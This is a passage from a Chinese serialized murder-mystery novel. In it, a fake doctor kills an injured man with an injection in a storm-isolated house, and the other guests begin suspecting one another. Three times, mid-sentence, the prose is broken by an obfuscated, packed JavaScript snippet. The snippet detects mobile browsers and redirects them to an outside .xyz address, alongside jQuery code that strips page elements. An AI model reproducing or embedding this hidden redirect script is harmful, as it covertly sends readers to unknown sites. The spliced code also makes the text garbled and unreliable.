桌上放着赵淑萍的药箱,范明胜在沙发里打呼,电视放着战争片,楼上的门关了一声响,赵淑萍进了房间。 钱晓文绕过沙发与案几之间,从药箱里翻出布洛芬,干咽了一颗,又吃了两颗vc。 “医生……” 范明胜醒了,睡眼朦胧地看背对他站的人。那低扎的马尾很好认,头发少,平整地贴着头,是大部分医生特有的特征。 “这么晚了,你还不睡啊?” 钱晓文扭回身来,面朝范明胜,“白天减了药量,怕你晚上睡不好,来看看。” 没想到医生这么主动关心他,范明胜笑开了脸。脸是笑的,眼睛确实痛苦的。 其实减了药量后,他并不好过。心思分到别的东西上去,倒也不疼。但没人跟他说话,没事做的时候,那疼得就跟几百只蚂蚁覆在伤口上慢吞吞的啃咬。 不像狗咬人直接上来一大口,咬疼就疼。那蚂蚁跟刺似的,刺一下疼一下,不刺的时候就不疼。 范明胜一会疼,一会不疼,一会又是剧痛。 睡前折腾许久好不容易睡了,睡着后又不踏实。 总归他是后悔减了药量。他前几天都是大把大把地吃药,没吃出问题,怎么突然就在意上这最后一天了? 再多吃一天药也不咋地啊。 范明胜揪着脸,对钱晓文说:“我睡不着,有时候疼得慌,你能不能再给我点药吃?” 钱晓文的手伸进药箱里找了找,说:“你现在补吃药,药性不均衡,不好。你实在疼的话,我给你打一针止痛药吧。” 范明胜有点犹豫。 钱晓文:“打了睡得安稳,明早飞机来接了你,去医院再看看医生给你开别的药。这里就这几种药,我也不敢乱给你吃。” 范明胜去看时间,才一点二十三分。 他以为至少有四点了,毕竟睡了那么久。 这一晚的时间,实在是过得太慢了。 落地窗外,夜色漆黑。 黑幽幽的夜跟吞了时间似的,看一眼都觉得在度年。 范明胜:“真的能一觉睡到明早?” 钱晓文:“嗯。” 范明胜:“来吧。” 钱晓文的手在药箱里,注射器从衣袖滑入药箱,她一手握住,拿出来,拔掉针头帽盖,她对着虚空推了推。 药水“噗呲”了两滴在空中,掉到地上,融入地毯里。 范明胜看着那细长的针尖,莫名地慌乱。 心慌慌,又害怕。 他这一晚都是这样,惶惶不安。越是这样,越后悔减少药量,要是按前几天吃,这会儿一定一觉到天亮了。 “这药没事吧?” 他恍惚想起来,这些天从来没打过针。 钱晓文仍旧是那副平平静静的脸,不笑,也不怒,平淡淡地说:“医院里都打这种针,止痛效果好。” 范明胜:“前两天没给我打呢?” 钱晓文:“头两天你昏着呢,打了好几针。不然你这两天能这么精神?” “难怪呢……” 他就说今晚咋都不对,原来是药吃少了还不打止痛针的缘故。 钱晓文在他受伤的腿根处找了一块小位置消了毒,范明胜别开头去——别看他快四十岁,看见针还是怕的。才那么多嘴的问来问去,好在钱晓文这个医生有耐心回答他,不计较。 他以前遇见的医生可没耐心了,多问一句都没好脸色。 范明胜回想着以前,又想到明天。这一针下去,明天肯定很快来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926644|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针尖扎进肉,冰凉凉的液体被推进去。 范明胜感觉女儿就在前方,在他的视野可见范围内。 他对着虚空笑了笑。 钱晓文抽出针尖,声音平和:“睡吧。” 范明胜听话地闭上眼。别说,这针打得他腿针没那么疼了。 钱晓文把注射器收进袖口,抬头看了眼楼上。走廊空荡荡。她往楼上走。 “诶,医生。” 范明胜忽然叫住她。 钱晓文回头。 他躺在沙发上,睁着疲倦的眼睛,问她:“你是哪家医院的医生啊?” 钱晓文:“平城怀安。” “平城有怀安医院啊?” 范明胜纳闷。 “不过有点耳熟。” 钱晓文:“在郊区。” “哦。” 难怪他耳熟。 困意上来了,范明胜感到前所未有的困。他打个哈欠,闭上眼,几秒钟便传出呼噜声。 比刚才响了一倍,中气十足地喷着气。 房子静悄悄的,如她下来那般,她静悄悄地走上楼。 在二楼的栏杆前,她居高临下俯视他良久,最后笑了。 怀安哪里是医院,是殡仪馆啊。 平城怀安殡仪馆。 …… 范明胜做了一场梦。 他梦见他媳妇了,死掉的媳妇。 浑身是血地站在厕所里,肥胖的身体在白炽灯下发着白,咧着嘴,朝他笑了一下。 笑了一下。 范明胜惊醒了。 他终于知道为什么白天看钱晓文那样笑觉得眼熟了,他媳妇死前就是这样对他笑。 平静无波地裂开嘴,笑了一下。 那笑不是笑他无知,不是嘲讽他,是要他的命。 他杀了自己的老婆,警察会来收走他的命。 她在笑他也会死。 钱晓文笑他…… 范明胜猛地瞪大眼。 在他的上方,走廊上,立着一个人。 二楼的大灯不知道在什么时候关了,墙壁上悬挂的小夜灯微微照着,晕出的光斑落在那个人脸上,将那人的脸色照得晦暗不明。 那人单手扒着栏杆,从上面探下身来。 那人在弯腰看他。 黝黑的眼睛充满打量与凝视。 范明胜的脑海炸开了锅,浑身汗毛都立了起来。这个场景,他好像在哪里经过。 多么似曾相识。 记忆开了闸地跑。 他终于想起来了! 他认识这个人。 他认识。 范明胜仓皇地瞪大眼,双手抓着沙发套,想要爬起来逃跑。 惊慌失措之下,胸口剧烈膨胀,心脏快速跳动。 跳得他快踹不过气来。 他捂住胸口,盯着黑暗里的那个人。 “是、是你……” 声音随着呼吸喷出的瞬间,他浑身猛地抽搐,一阵,一阵。他伸出手,想去抓旁边的赵淑萍。 赵淑萍睡着了,一无所知。 黑暗里,俯身在栏杆上的人,背着破碎的光晕,对他露出心满意足的笑。 15. 第 15 章 范明胜死了。 死得仓促又急速。 是陈宇南发现的,他熬了一个通宵,本来想睡觉,躺到床上突然想起自己日夜颠倒,完全错过了所有能和平月在一起的机会。平月的作息非常规律,晚上睡觉,白天上楼下楼。 他从床上猛坐起来,一头扎进浴室冲了个澡,换身干净的衣服,打开房间门,站到栏杆前往楼下看,先是看厨房里有没有人,平月一向最爱去那里烧水。 没人,那一定还在房间里。 他就靠在那儿,等平月出来。 转身时瞟见客厅里的范明胜,有些厌烦,因为他的存在,整个客厅充斥着血腥的臭味,沙发变得乌黑暗沉,招来苍蝇嗡嗡地飞。 “……” 陈宇南骤然顿住。他猛地扑到栏杆上,整个人往下探着身体,瞪大眼睛看。 他没有近视,以至于他的视力非常好。他看见范明胜张着瞳孔,呆呆地望着他这个地方。 不是他睡醒了看二楼,因为他还张着嘴,一脸惊恐,像是、像是……看见什么可怕的人。 陈宇南看他的这段时间,他连动也没动一下,眼睛眨也没眨,像、像…… 像……死了。 陈宇南慌了,大喊:“喂!” 范明胜没动静。 陈宇南想叫醒睡在另一张沙发上的人,却忘记了名字,不知道叫什么。 “喂!” “喂!” 平月打开门走了出来,茫然问他:“怎么了?” “他、他……” 陈宇南指着楼下,害怕到舌头打了结。 平月靠到栏杆前,看了一眼,立刻让陈宇南:“去叫人。” 陈宇南回身就往门上拍,大力拍。 悦凌凌盯着乱蓬蓬地头发打开门,来不及问,陈宇南又去拍别的门。他急切又慌张的样子让悦凌凌醒了神,她一面问什么事,一面靠到栏杆上往下看。 下一秒。 悦凌凌失声尖叫:“他死了!” “范明胜死了!” 一扇扇门打开,所有人都出了来。 梁威和周志率先奔下去。 楼下的赵淑萍被吵醒了,朦朦胧胧地坐起身,左右看了一眼,看见范明胜的第一眼没看清,第二眼直接吓得晕了过去。 …… 范明胜身上涌出一股恶臭,巨大的恶臭。 铺天盖地,从他的大腿根处涌来。熏得人跨进客厅的脚收了回来。 梁威都呕了一声,捂着鼻子,硬着头发上去查看。 周志抓纸巾塞住鼻孔,跟着上去。 范明胜的伤口化了脓,绷带被脓液浸成了黄里发黑的颜色,脓水还在不断流,从伤口顺着腿根,流到沙发上。 悦凌凌在餐厅里探头望,“不会是减了药吧……前几天也没感染啊……” 她缩了缩肩膀,有点害怕。 周围几人的脸色都不好。减药是所有人,包括范明胜自己一起决定的,这不能赖他们。但真要盘查起来,谁都逃不脱。 梁威说:“是谋杀。” 如果刚才所有人的脸色不好,那么现在是难看至死。 钱晓文死死扣住椅背,耳朵在听见那两个字时,脑袋霎时空白了——完全放空的状态。 这和她预计的不一样。不应该是这样,范明胜的死应该是伤口感染而死。 怎么就让梁威看一眼就变成了谋杀? 她哪个步骤做错了?钱晓文想不起来,她没有办法思考。她昨晚做的每一个步骤都不可疑,但现在,梁威这句话让她感觉自己做的每一个步骤都可疑。 张情嗤声:“谁会杀他。” 一无所有的老穷鬼。 悦凌凌也说:“没、没人跟他有仇啊……” 梁威没说话,他站在沙发前,俯视范明胜惊恐的脸。他在死前一定看见了令他感到恐怖的事、人。 那双瞪大的瞳孔伸出,眼珠玻璃光里倒映着影子,一团漆黑的影子,旁边有点光。 梁威仔细辨认,只能猜测出是个人。 范明胜死前,看见了令他恐惧的人。 谁? 不知道。 现在这栋房子里,每个人都那么可疑。 梁威的视线在每个人身上巡视。 悦凌凌被他这种眼神看得吓人,立刻拔高声音:“你别这样看啊!这之前,我们都不认识他啊,谁跟他有仇啊!” 余有为的烟刚灭,又点上一支。肉眼可见的手在抖。 特别有嫌疑。 梁威审视的视线定格到他身上。 余有为哆嗦着说:“不是我……小姑娘说得对,我不认识他。” 梁威:“你抖什么?” 余有为:“紧张啊。天杀的,我就是来学个菜,就死了人,心里头怕啊!” 他猛吸一口烟,烟雾还没吐完,又紧张地问:“不会连累到我们吧?” 话音落地,悦凌凌整个人抖起来,脸色煞白,张嘴发出的声音失了真,尖锐地说:“我还要考研,我还要考公!他死和我们没关系!没关系!” 她特别急切地撇清一切关系。 梁威懂她这种心情。 不再问了。 他低下头,周志蹲在沙发前,像一条警犬,细致地找什么,脸上没有害怕,反而有一种…… 梁威说不清。 他皱起眉。 这栋房子里的每一个人都让他感到可疑。 …… 悦凌凌疯狂打电话,给夏令营打电话,给Jck打电话。 电话通不出去。 时间过了八点,直升飞机没有来。 落地窗外的天乌黑一片,乌云厚厚地压在房顶,仿佛随时砸下来。 这才早上八点。 周志说:“有可能山下又下暴雨了。” 这种情况之下,才能打不出去电话,直升飞机也来不了。 可是悦凌凌听不进去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926645|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她快要疯了。 梁威说范明胜是谋杀,如果是他们之中的某个人杀了范明胜,那么她和凶手同住一个屋檐算什么? 她现在这样算什么?同谋吗? 同谋…… 不! 她要考研,还要考公! 她都不认识这个突如其来的男人,他死了,凭什么她要受牵连? ——她妈会打死她的! 立柜前,她拿着听筒,像一台机器人,机械、重复、不断地拨打电话。 打一遍,挂掉,又打一遍,挂掉,再打一遍。 其余人坐在餐厅里,一言不发地看着她。 时间一分一秒过去,九点了。天更黑了。 在悦凌凌数不清多少次拨出电话时,天空“轰隆”巨响,青紫青白的闪电劈下来,照着悦凌凌脸颊劈,隔着厚厚的落地窗,闪电的光将她斜着劈成两半。 “轰——!” 又一声雷响。 豆大的雨滴呼呼啦啦砸到窗上,噼里啪啦,像天上泼下来巨石,一颗接一颗,密密麻麻砸在人心上,砸得人惶惶不安。 悦凌凌吓到尖叫,丢开听筒,抱头蹲在地上,“哇”地一声哭了起来:“考不了公,我妈会打死我的!” “她会打死我的!” 应着雷声雨声闪电,她干嚎大哭,声音几乎要盖过雷声去。 梁威说:“不是你就和你没关系,你别担心。” 陈宇南虽然有时候烦悦凌凌,但看她哭成这样,还是免不了要安慰一番:“而且有监控,是谁做的,查一下监控就知道了。” 悦凌凌突然不哭了,跑到餐厅来。 她真是被吓得要死了,全然没想起监控这件事。 周志:“这就不哭了?” 悦凌凌抹掉眼泪,语气坚定:“我清清白白,有监控,我不怕!” 有监控,但看不了啊。 他们在等赵淑萍醒来。 夜里是赵淑萍守夜,她知道的会比他们多。 暴雨滂沱。 钱晓文死死揪住牛仔裤,那双眼睛,慌乱不堪地去看天花板。 她忘了。 这栋房子里有监控。 非常多的监控。 从她这个角度看出去,闪电闪过的外面,对面的大树上,挂着一个比房子里更大的摄像头。 里里外外,监视着他们。 也许,Jck已经看见监控了……现在,正在看着她…… 手心的汗水打湿了裤子,钱晓文快要绷不住了。 不,不能这样。 她不能被一个范明胜给拖下水。 钱晓文焦灼地揪着裤子磨蹭大腿,企图找到一个支撑点平衡自己的惊慌。 乱飘的视线和对面的人对上了。 平月在看她,平静无波地看她,双手握着保温杯,淡淡的视线像是洞察了一切。 呼吸骤停,钱晓文脑海里紧绷的弦“啪”的一下就断了。 16. 第 16 章 再死一个人。 夏令营或许会因为名誉而不公开? 范明胜可以被认定成伤口感染而死,只要所有人统一口径。 让所有人站到一条线上,最快捷的方法——他们是同谋,共同杀死一个人。 短短十秒钟,钱晓文几乎有了一个主意。 她撑起身,从冰箱里拿了一瓶冰水喝。 客厅里的座机响了,悦凌凌第一个冲过去。 信号断续的缘故,通话不到一分钟。 Jck说山下暴雨,直升机没法飞,还是得塌方的山路修通。他安排了更多的人去处理,如果暴雨先停,就让直升机上来。如果山路先通,就开车上来。 简单通俗地讲:一切都是未知数。反正范明胜是留在这里了。 悦凌凌立刻问监控的事。 Jck的回答是,房子经年未修,这些监控是十几年前的了,很早就坏了。 钱晓文听到这句话,差点喷了水——真是天助人。不,是天要范明胜死。她做了一件善事。 那么,接下来的事情便变得简单了。 他们只需要保守秘密,默认范明胜是伤口感染而死就行。 钱晓文前所未有的感到轻松。她看平月时,有了另一种看法——平时只是简简单单在看所有人。 …… 赵淑萍醒了。 在又要晕过去之前,悦凌凌赶紧掐人中,“奶,您别睡了。” 赵淑萍听不进去,余光扫见范明胜,“哎哟”一声,双手用力往后挥斥,似乎想要将人挥开。 周志和悦凌凌架着她坐到餐厅去。 背对着客厅,赵淑萍喝了悦凌凌递给她的水后,没那么想晕了。脑袋清明了几分,但还是心有余悸。捂着胸口,哎哎叹气。 悦凌凌:“奶,你昨晚看见什么没啊?” 赵淑萍又喝了一杯热水,一提昨晚就紧张,“能、能看见什么啊?” 她忽然回味过来,“他、他怎么就……那样了?” 悦凌凌指指梁威:“他说是被人杀死的。” 赵淑萍差点一口气没上来,周志忙被她顺气,等她气顺了,问:“昨晚有没有什么不寻常的地方?” 赵淑萍:“没啊。” 周志:“你再想想。” 赵淑萍想了一阵,真没有。要说什么不寻常,最不寻常的就是她做了噩梦,梦见范明胜死了,将将死在沙发上。 就是他现在的死状。 但,这是能说的吗? 说了,会不会就把她当凶手了?毕竟昨晚只有她一个人在客厅和范明胜一起。 赵淑萍先问了一句:“凶手是谁啊?” 一向沉默的张情嗤了声:“你这人真有意思,我们要是知道凶手是谁,还问你要细节?” 她是坐在厨台前的高脚凳上,背对着赵淑萍。说话时,转动高脚凳,背靠着厨台望着赵淑萍,眼里带着戏谑的笑意,却笑不进眼底。 赵淑萍心底咯噔。 她支支吾吾:“我、我……” “奶,您别听她瞎说。”悦凌凌找过赵淑萍的手,“您就把您觉得不对劲的地方,都告诉梁威。他是警察,他会查明一切的。” 梁威莫名其妙被戴上了高帽。想说什么,却什么也说不出口。没有给他拒绝的理由。 而且,他拒绝了,凶手会不会再杀人?或者说凶手的目的只是杀范明胜——一切都不确定。 梁威只能默默承受这顶高帽。 对面的张情喝了口红酒,笑眯眯地盯着他。 “就半夜吧……” 赵淑萍开了口。 “本来我在织毛衣,但是守了他那么多天,实在熬不住,织着织着就睡着了。然后被电视声音吵醒了,我就上楼上了个厕所。” 她不敢说自己上楼洗澡,不然别人肯定会问她大半夜的洗什么澡,如果她说做了噩梦流了汗,他们又会问她做了什么噩梦……源源不断,完全扯不清。 她做了噩梦,不代表她就知道一切。 “下来的时候,他还在睡觉,打呼噜哩……后来我看了会电视,又织了会毛衣,还是没熬住睡着了……再醒来就是现在了。” 悦凌凌:“没别的了?” 赵淑萍:“没。” 梁威:“有没有什么特别的声音?比如电视,你说被电视惊醒,电视声音变大了?” 赵淑萍也说不清电视有没有变大声,她都记不得睡前的音量了。 “不知道。” 周志拿起遥控器,按了音量+,电视的音量从32变成33。 他说:“没变,上楼前,我还看了电视,是这个音量。” 完全问不出什么来。 当然,也没法指望从64岁的老人嘴里问出细枝末节。64的老人能记住什么?要问她昨天上了几回厕所,她都不一定说得清。 事情就这样被搁浅了。 梁威也不知道从什么地方入手。他只是个民警,平时调解一下矛盾纠纷,这种刑事案件他是一无所知。 悦凌凌突然开了口:“你们谁之前认识他嘛?” 没人回答。 悦凌凌看向陈宇南,陈宇南摇了摇头。他一个艺术生,怎么可能认识范明胜?又看向平月。 平月:“不认识。” 大家都不认识。 悦凌凌掉转头,问周志:“你是从哪儿过来的啊?” 周志:“怎么了?” 悦凌凌指指陈宇南几人,说:“我们一车是从平城过来的。” 周志:“安阳市。” 悦凌凌:“奶呢?” 赵淑萍:“一样。” 悦凌凌:“你们头一天到的,不会全是安阳的吧?” 见没人否认。 悦凌凌:“你们不觉得奇怪吗?夏令营全国招生,怎么我们几个,不是平城就是安阳,没别的地方的人?” 客厅的气氛刹那凝固。 所有人用凝重的眼光望着悦凌凌。 悦凌凌被唬住了,“你们别这样看我,我害怕……” “夏令营这样做肯定有他的目的,我我我就是恐怖片看多了乱说。” 梁威:“夏令营什么目的?” 悦凌凌:“帮助我们解决烦恼啊!” 梁威:“你的烦恼是什么?” 悦凌凌:“考研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周志:“人就这么摆着?” 恒温室内,这样摆着,十天左右就能膨胀裂开腐烂,产生的臭味能污染整个房子。 十天能下山吗? 梁威说不准。 屋外的暴雨愈发滂沱,哗啦啦地像将天上的水一次性倾下来。 梁威扯了沙发布置,和周志一人抓一头将范明胜盖住。 周志:“你不是刑警?” 梁威动了动眉头,抬眼看他。 周志笑道:“我们这行,经常采访人,和警局也打过不少交道,你不像干那行的。” 梁威没有否定和肯定,另说:“办公的,不出任务。” 周志笑笑,点头:“原来是这样。” 尸体罩好了,他又说:“你不会因为我多问这一句,就觉得我嫌疑最大吧?” 还别说,真是这样。梁威现在首个怀疑他。正常人谁没事问他是刑警还是什么警? 老练的犯人才会挑衅警察,并引以为傲。 梁威:“每个人的嫌疑都大。” 周志:“包括你?” 梁威心脏骤停,一眼不错地盯着他。 周志:“你不觉得,这里面,嫌疑最大的是你自己?” 17. 第 17 章 暴雨持续不断地下,噼里哐当砸了一整夜。 本应该是很好睡觉的天气,每个人都睡不着,赵淑萍在床上翻来覆去,难受得很。范明胜的死状和她梦见的一模一样。只要她一闭上眼就会想起。 安睡片在体内消化了,没法帮助她入睡。她坐起来,想再吃几片安睡片,手伸到床头柜,突然想起药箱在楼下。 这会去拿,她是不敢的。夜里十二点,客厅里躺着范明胜的尸体,尽管开着大灯,仍旧足够吓人。 她又躺下。时间是熬的,越熬越难受,仿佛熬的是她。 赵淑萍整个心慌慌的,这样下去,她的身体受不了,还是得去拿药吃。 她套了件衣服,去找周志。 周志没睡,听了她的话,很痛快地陪她下楼。 药箱拿到手,赵淑萍又在炉灶上烧热水。 等水开的间隙,赵淑萍在药箱里找安睡片。 安睡片在最下面,翻找的时候,将上面的东西拿出来,她忽然发觉有些不对劲。 “看不见?” 周志见她找了老半天也没找着,问她药名,想帮她找。 赵淑萍快速瞄了一眼客厅,又瞄了瞄二楼走廊。上下都没有人。她压着声音,跟周志说:“药少了。” 周志:“?” 赵淑萍:“布洛芬少了一半,小白瓶也不见了。” 周志:“什么小白瓶?” 赵淑萍:“维生素什么,吃了体质健康的那个。” 周志:“vc?” 赵淑萍:“对对对,我老记不住那个名字。” 周志:“这些都是给范明胜吃的,是不是他吃了?” 赵淑萍摇头,“他吃的是平月那姑娘的药,单放的。”她指客厅里的案几,范明胜每天吃的药还放在那里,“我这药箱里有多少药,我心里有数。” 周志过去桌前看了一眼,布洛芬有,维生素也有,数量还多。谁没事放这的不拿,单拿赵淑萍的? 周志怀疑赵淑萍年纪大了,记混了。但又不好跟人说“你记忆力不好,记错了”。这跟直接骂人家有老年痴呆有什么区别。 不过,他还是将这件事记在心里了。 他说:“你别跟人说。” 赵淑萍懂。 周志:“你昨晚真没听见什么奇怪的动静?” 老人睡眠一向浅,一点风吹草动就能醒,醒了就睡不着。赵淑萍不应该没听见什么动静,如果范明胜真的是被谋杀。 范明胜看见了什么惊恐的人,一定会发出点声音。她怎么可能一点没听见? 不合理。 赵淑萍仔细想了想,“确实没有。” 周志:“你再把昨晚的事说一遍。” 赵淑萍又说了一遍,她上楼上了个厕所,下来边看电视边织毛衣,还喝了两杯蜂蜜水,后来困了,就睡着了。 周志:“之后再也没醒过?” 赵淑萍:“对。” 周志也回想了早晨的场景,他是被悦凌凌从睡梦里吵醒的。悦凌凌一直在走廊上大喊大叫,他出房间后,第一时间去栏杆前看了一眼。那时候赵淑萍还在睡。 对,可疑的点来了。 悦凌凌那么大声,赵淑萍怎么没有被吵醒? 周志未来确定自己的猜想:“你什么时候醒的?” 赵淑萍:“你们下楼啊,一群人跑进客厅,我被吵醒了。” 周志大概猜到了,有人在赵淑萍的水里下了药,让她睡得那么沉,然后杀死了范明胜。 也就是说,在赵淑萍第二次睡过去前,范明胜其实还好好的活着。 谁会知道赵淑萍要喝水?想给她下药的难度很大,必须保证赵淑萍喝掉,不能是被别人喝掉。 那个人怎么知道赵淑萍要喝什么水? 水烧开了。赵淑萍提起水壶,往她的水杯里倒水。 老人都有一个专属于自己的保温杯,保温杯很大,还得专门有一个大的杯盖,可以拧下来喝水用。 这叫方便。 赵淑萍也有,她将烧开的热水灌进保温杯,拧上杯盖。水壶放回炉灶上。 周志突然茅塞顿开。 要么是赵淑萍的水杯被人放了药,要么这个水壶里有药。这样才能保证赵淑萍能安稳的睡死一晚。 周志:“昨晚你用哪个杯子泡的蜂蜜水?” 赵淑萍:“就这柜子里拿的啊。” 周志理清了,水壶里被放了药。 这个人真够胆大,但凡赵淑萍没有喝水壶里的水,后面的一切都做不了。 周志忽然有点兴奋。 赵淑萍:“你问这做什么?” 周志:“没,看看有没有什么漏掉的事情。” 赵淑萍:“你知道凶手是谁了吗?” 周志:“不知道。” 他又问:“昨晚那壶水,你烧的?” 赵淑萍拧紧杯盖,“不是我烧的,早放那儿了。” 她仔细想了想,“平月那小姑娘烧的吧,她每天晚上都要烧壶热水上去。” “啊?”周志愣住了。 他的思维是,头晚最后一个碰水壶的人一定是凶手了。但平月……不像啊。 她跟范明胜就不是一个阶级的人,能有什么仇……有仇的,范明胜差点□□了她。 周志皱起眉。 赵淑萍搞不懂他在想什么,拍拍他的肩膀,“上去了。” …… 把赵淑萍送回去后,周志更睡不着了。 他有点后悔陪赵淑萍下这趟楼。 平月怎么可能是凶手? 她那么小一个人,就杀人了? 不像,怎么都不像。但按照赵淑萍说的,几乎可以百分之九十五肯定是平月了,那嫌疑比梁威还大——在这之前,他最怀疑的是梁威。 他有嫌疑,他是警察,能做到完美犯罪。如果是平月,周志完全想象不出来她杀范明胜的理由。 她和范明胜没有任何关系,出于什么目的杀死范明胜? 不对,他们有关系,甚至可以说是仇恨——一个被所有人忽略的事情——范明胜差点□□了平月。 就这一点,她足够想杀范明胜。 暴雨轰轰隆隆地砸在玻璃窗上,像是砸在他的心脏上,嗙嗙当当,砸得他烦躁无比。 …… 早晨七点半,平月推开门,想去楼下烧热水喝。 她的脚好了很多,能顺畅走路了,只是会慢一些。 刚走到楼梯口,一道影子从后面盖上来。她慌张回头,是周志。 “早。” 周志笑着跟她打招呼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14928032|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你每天早上起这么早?” 平月缓了缓被吓住的那口气,“嗯”了一声。 周志:“你们这个行业不是经常熬夜吗,怎么看你好像没熬过夜。” 平月:“没写。” 周志:“……” 也对,人家来这的目的,就是写小说。没写很正常。 周志:“你去做什么?” 平月:“烧水。” 周志:“昨晚睡得好吗?” 平月:“还行。” 周志没懂这个还行是什么意思,不知道是他年纪大了跟不上年轻人的思维了,还是平月说话的问题,他问出去的问题全被打到没用的地方,跟上了天一样,轻飘飘的落不到实处。 就在周志绞尽脑汁想怎么引导她说到前一晚去。平月又说了:“没前晚睡得好。” 周志:“哪晚?” 平月纠结了一下,说:“他死的那晚。那晚是我来这么几天睡得最好的一晚。” 她来这么多天了,每天早上不用闹铃就能醒,只有昨天早上,是闹铃叫醒她的。 睡得死沉死沉的。 她都有些诧异。 周志:“你昨天早上几点起的?” 平月:“七点,闹铃吵醒的。平时我是在闹铃之前自己醒。” 她提了水壶,将里面剩下的半壶倒掉,重新接水。 周志:“里面不是有水吗?” 平月怔了怔,接续接水,“你和她很像。” 周志:“谁?” 平月:“赵奶奶。” 周志有点疑惑。 平月:“爱管别人喝什么吃什么。” 周志:“……” 她说:“我从来不喝过夜水,不吃隔夜饭,不吃剩饭剩菜。我喜欢吃新鲜的。” 周志:“……” 好吧,是他想错了,平月这个人一看就知道是富养家庭养出来的。别说倒半壶水,就是倒十壶水,别人都会拍着手掌夸倒得好。 周志:“那前晚你睡前吃什么了?” 平月:“喝水。” 周志:“记这么清楚?” 平月:“每晚睡觉前喝半杯水。别的东西很少吃。” 周志:“生活习惯这么好?” 平月:“嗯。” 周志:“你恨范明胜吗?” 平月:“你怀疑我吗?” 她把水壶放到炉灶上烧,就那样把头转过来,平静地问他,但瞳孔里盛满了疑惑。 好像很不理解他为什么会怀疑她。 周志咳了一声:“那个……他不是欺负过你吗……” “因为这个?” 平月说:“我要杀他,不给他药吃,他活不过第一天。” 还用等现在? 周志登时豁然开朗——他就说总有哪里不对劲,是这里——范明胜吃的所有药,都是平月给的。她有十分的理由可以不给,那范明胜必死无疑。就算法律落下来,也落不到她头上。 反而给了药,再杀人,直接算杀人凶手了。 所有的都解释通了,平月也吃了凶手下药的水,和赵淑萍一样睡得沉,什么都不知道。她也是受害者。 这一分钟,周志将平月的嫌疑洗得干干净净,梁威又成了他重点观察对象。 18. 第 18 章 周志把自己的猜测说给平月听,平月一脸呆滞,似乎没想到夏令营怎么变成了这样。 周志问她知不知道在她之前用过水壶的人是谁。 平月想不起来。每天用水壶的人太多了。赵淑萍和她一样,每天都要喝热水。陈宇南喜欢下楼磨咖啡喝。悦凌凌热衷于跟着陈宇南,经常让陈宇南做两份,一起喝。 钱晓文这些天来月经,有时候喝冷水有时候也提热水上去。 想了一圈,这个房子里,平月从没见过张情、余有为、梁威烧热水喝。 周志一下子捕捉到平月说的梁威。 不过这算不得什么,他也不怎么喝热水,只有熬夜的时候,或者赵淑萍泡茶的时候随着喝一杯。 冰箱里有很多饮料,他们习惯性从冰箱拿水喝。 平月这里打探不出什么,周志说:“你平时注意点。” 水壶咕噜鸣叫,平月关了火,“你这话说得像在威胁我。” 她提下水壶,将热水全部倒进水槽,把水壶里里外外刷一遍,重新接一壶烧。 周志盯着她的动作,一时之间不知道应该说她什么。 周志:“你以后都这样烧水?” 平月:“我害怕被毒死。” 周志:“……” 好像没毛病。 周志:“希望你最好别被赵淑萍看……这样烧水是不是很容易被凶手察觉?” 平月:“凶手是杀范明胜,还是杀所有人?” 周志回答不出来。杀范明胜的话,他们做什么都是正常的,如果凶手杀所有人,那么她这样烧水,就是在打草惊蛇。 平月又问:“那我应该怎么喝水?” 周志:“用嘴喝。” 平月:“……” 水开了,她装满一整杯,将剩余的水倒掉,拎着保温杯上了楼。周志走在她旁边,“刚开玩笑。” 平月点头。 周志:“你平时做什么?” 平月:“什么时候?” 周志:“白天除了喝水,很少见你下楼。” 平月:“看书。” 周志:“看什么书。” 平月扭头看了他一眼,身边这个男人,很喜欢打听别人隐私,并且打听得很细致,就像……就像杀人犯想要掌控受害者行径。 “我进去了。”握住门把手,平月推开门。 周志叫住她,“有事找我。” 可不敢找。 平月笑着点头:“好。” 推门进去,反锁。她把保温杯放在桌上,趴在窗边往外面望。早晨八点,大雨滂沱,外面乌黑一片,雨幕冲得世界都是糊的。 在一片糊影里,有东西在闪光,光折进了她的视线。她抬头望向闪光的地方,又看不见了。埋下头看下面,眼皮上又有一道光闪进来。 平月往下坐了坐,终于捕捉到了那抹光,就像夜店里的玻璃盘子在彩灯里折出来的光斑,来源于摄像头的镜片。 外面,她的房间玻璃正对着的那棵树上挂着摄像头。 平月有预感,那个摄像头绝对是好的。 她冲摄像头挥了挥手。 刚挥完,隔壁响起一声尖叫。 